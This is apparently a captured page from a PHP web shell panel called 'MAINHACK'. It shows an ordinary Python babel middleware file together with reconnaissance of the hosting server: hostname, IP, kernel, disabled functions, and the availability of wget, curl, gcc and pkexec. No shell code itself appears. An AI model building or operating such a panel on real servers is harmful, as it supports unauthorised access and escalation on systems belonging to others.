[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: middlewares.py
File is not writable. Editing disabled.
import asyncio from speaklater import is_lazy_string, make_lazy_string from aiohttp_babel import locale from babel.core import UnknownLocaleError from threading import local _thread_locals = local() def make_lazy_gettext(lookup_func): def lazy_gettext(string, *args, **kwargs): if is_lazy_string(string): return string return make_lazy_string(lookup_func(), string, *args, **kwargs) return lazy_gettext _ = make_lazy_gettext(lambda: _thread_locals.locale.translate) @asyncio.coroutine def babel_middleware(app, handler): @asyncio.coroutine def middleware(request): # get locale from cookie _code = request.cookies.get('locale', False) if not _code: # get locale from browser locale_code = request.headers.get('ACCEPT-LANGUAGE', 'en')[:2] try: _code = str(locale.Locale.parse(locale_code, sep='-')) except (ValueError, UnknownLocaleError): pass _locale = locale.get(_code) _thread_locals.locale = request.locale = _locale response = yield from handler(request) return response return middleware def get_current_locale(): return getattr(_thread_locals, 'locale', None)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A